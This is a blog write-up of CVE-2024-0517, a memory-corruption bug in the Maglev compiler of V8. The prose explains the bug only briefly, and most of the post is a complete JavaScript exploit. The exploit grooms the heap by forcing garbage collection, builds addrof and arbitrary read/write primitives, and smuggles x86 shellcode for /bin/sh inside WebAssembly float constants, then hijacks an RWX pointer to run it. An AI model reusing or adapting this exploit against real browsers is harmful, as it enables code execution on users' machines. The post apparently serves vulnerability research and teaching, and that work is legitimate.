← Back

CVE-2024-0517 Quick Blog

CVE-2024-0517 Quick Blog cover image
May 3, 2024 7 min read
browser v8 maglev

This post explores a vulnerability found in the Maglev optimizing compiler of V8, specifically within a function responsible for optimizing classes that inherit from a parent class.

The Bug

The bug is located in the VisitFindNonDefaultConstructorOrConstructMaglev function. This function attempts to optimize a class that has a parent class, but the manner in which it is lowered introduces a critical issue.

  1. Garbage Collection Trigger:

Note: In the image, the chunks are moved from the young generation to old space. The labels "old" and "new" denote the previous and current allocations, respectively, and should not be confused.

  1. Allocation Process:
if (new_target_function && new_target_function->IsJSFunction() && HasValidInitialMap(new_target_function->AsJSFunction(), current_function))

Exploit

Exploit Flow Visualization

To exploit this vulnerability:

  1. Obtain Addrof Primitive: Start by acquiring an addrof primitive, which allows you to read memory addresses.
  2. Shellcode Smuggling: You embed you shellcode into floating point numbers in the wasm code. Through which you can execute 2/3 byte instructions and jump to the next floating point number.
  3. Problem with this Sandbox Escape: Once the WASM instance has been transitioned to trusted space, a new method is required to escape the sandbox and regain control over code execution.

Patch

To address this vulnerability, the developers implemented the following changes:

poc:

// Direct from the Exodus Blog (mentioned below).
function main() {
    class ClassParent {}
    class ClassBug extends ClassParent {
        constructor() {
            const v24 = new new.target();               // makes the checkvalue of the parent class to be constant with this call.
            super();                                    // Creates the instance of `this` object and allocates the memory required for storing infor for this object.
            let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];  // After triggering the GC in the wrong folded allocation this gets allocated, which gives us OOB
        }
        [1000] = 8; // trigger the GC
    }
    // triggering the maglev optimizer.
    for (let i = 0; i < 300; i++) {
        Reflect.construct(ClassBug, [], ClassParent);
    }
}
%NeverOptimizeFunction(main);
main();

My exploit:

Some Basic utilities to make my exploitation phase easier: (includes float to int and vice-versa, trigger GC with the help of huge allcoations).

///////////////////////////////////////////////////////////////////////
///////////////////         Utility Functions       ///////////////////
///////////////////////////////////////////////////////////////////////

let hex = (val) => '0x' + val.toString(16);

// 8 byte array buffer
const __buf = new ArrayBuffer(8);
const __f64_buf = new Float64Array(__buf);
const __u32_buf = new Uint32Array(__buf);

// typeof(val) = float
function ftoi(val) {
    __f64_buf[0] = val;
    return BigInt(__u32_buf[0]) + (BigInt(__u32_buf[1]) << 32n); // Watch for little endianness
}

function print(x){
    console.log("[+] " + x);
}

// typeof(val) = BigInt
function itof(val) {
    __u32_buf[0] = Number(val & 0xffffffffn);
    __u32_buf[1] = Number(val >> 32n);
    return __f64_buf[0];
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

function reverse(x) {
    var buf = new ArrayBuffer(0x20);
    var view1 = new BigInt64Array(buf);
    var view2 = new Uint8Array(buf);
    view1[0] = x;
    view2.reverse();
    return view1[3];
}

function assert(x) {
    console.assert(x);
}

I have 2 wasm instances because, the first wasm_code has our smuggled shellcode, which I have covered in the ArrayShift Blogpost, The wasm_instance_helper is the object in which we will corrupt and redirect the RWX region to our shellcode.

////////////////////////////////////////////////////////////////////////
/////////////////////         Main Exploit         /////////////////////
////////////////////////////////////////////////////////////////////////

// for future - shellcode smuggling
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x05,0x01,0x60,0x00,0x01,0x7c,0x03,0x02,0x01,0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0a,0x53,0x01,0x51,0x00,0x44,0xbb,0x2f,0x73,0x68,0x00,0x90,0xeb,0x07,0x44,0x48,0xc1,0xe3,0x20,0x90,0x90,0xeb,0x07,0x44,0xba,0x2f,0x62,0x69,0x6e,0x90,0xeb,0x07,0x44,0x48,0x01,0xd3,0x53,0x31,0xc0,0xeb,0x07,0x44,0xb0,0x3b,0x48,0x89,0xe7,0x90,0xeb,0x07,0x44,0x31,0xd2,0x48,0x31,0xf6,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x0b]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f1 = wasm_instance.exports.main;

// to corrupt the pointer here.
var wasm_code_helper = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod_helper = new WebAssembly.Module(wasm_code_helper);
var wasm_instance_helper = new WebAssembly.Instance(wasm_mod_helper);
var f2 = wasm_instance_helper.exports.main;

This is similar to the POC where they have specific conditions met to trigger the ExtendOrReallocateCurrentRawAllocation through the ClassBug. Additionally, the only confusing part is, how to know the number of times to call the reflect.construct and when do we know it triggered the actual bug. I was also confused reading the blogpost from exodus, when I asked the exploit dev, he suggested running it multiple times and getting the limit through trial and error.

function gc(){
    for(let i=0;i<0x10;i++) new ArrayBuffer(0x100000);
}

let dogc_flag = null;
function dogc(){
    if(dogc_flag){
        gc();
    }
}

let empty_object = {};
let empty_array = [];
let corrupted_instance = null;

// Main vulnerability.
class ClassParent {}
class ClassBug extends ClassParent {
    constructor(a20, a21, a22) {
        const v24 = new new.target();
        let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
        super();    
        let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
        this.x = x;
        this.a = a;
        JSON.stringify(empty_array);
    }
    [1] = dogc();
}

// jit compile the dogc()
for (let i = 0; i<200; i++) {
    dogc_flag = false;
    if (i%2 == 0) dogc_flag = true;
    dogc();
}

for (let i = 0; i < 650; i++) {
    dogc_flag=false;
    if (i == 644 || i == 645 || i == 646 || i == 640) {
        dogc_flag=true;
        dogc();
        dogc_flag=false;
    }
    if (i == 646) dogc_flag=true;

    let x = Reflect.construct(ClassBug, empty_array, ClassParent);
    if (i == 646) {
        corrupted_instance = x;
    }
}

Once we get he corrupted instance, It should be straight forward exploitation. We can get addrof primitive and try to get arb read/ write primitive.

function addrof(obj){
    corrupted_instance.x[0] = obj;
    __f64_buf[0] = corrupted_instance.a[8];
    return __u32_buf[0];
}

// overwrite the length of `a` array.
corrupted_instance.x[5] = 0x10000;

let oob = [1.1, 2.2, 3.3];
let addr_oob = addrof(oob);
let addr_a = addrof(corrupted_instance.a);

// Quick check
if(addr_oob < addr_a && corrupted_instance.a.length != 0x10000){
    console.log("Exploit Failure!");
}

let off = (addr_oob - addr_a ) + 0xc;
if(off%8 != 0){
    off -= 4;
}
off = off / 8;
off += 9;
print("Achieved 64 bit read write primitive.")
function write_64(addr, val){
    corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
    oob[0] = itof(BigInt(val));
}

function read_64(addr){
    corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
    return ftoi(oob[0]);
}
let addr_wasm = addrof(wasm_instance);
let addr_rwx = read_64(addr_wasm + 0x48);

print("Leaks:")
print("wasm_isntance: " + addr_wasm.toString(16));
print("RWX region: " + addr_rwx.toString(16));

let shell_off = 0x81an

// get the shellcode in memory.
f1();
write_64(addrof(wasm_instance_helper)+0x48, addr_rwx+shell_off);

// trigger the /bin/sh syscall.
f2();

Smuggling shellcode:

Again I have explained it in this blogpost

Extras

Reference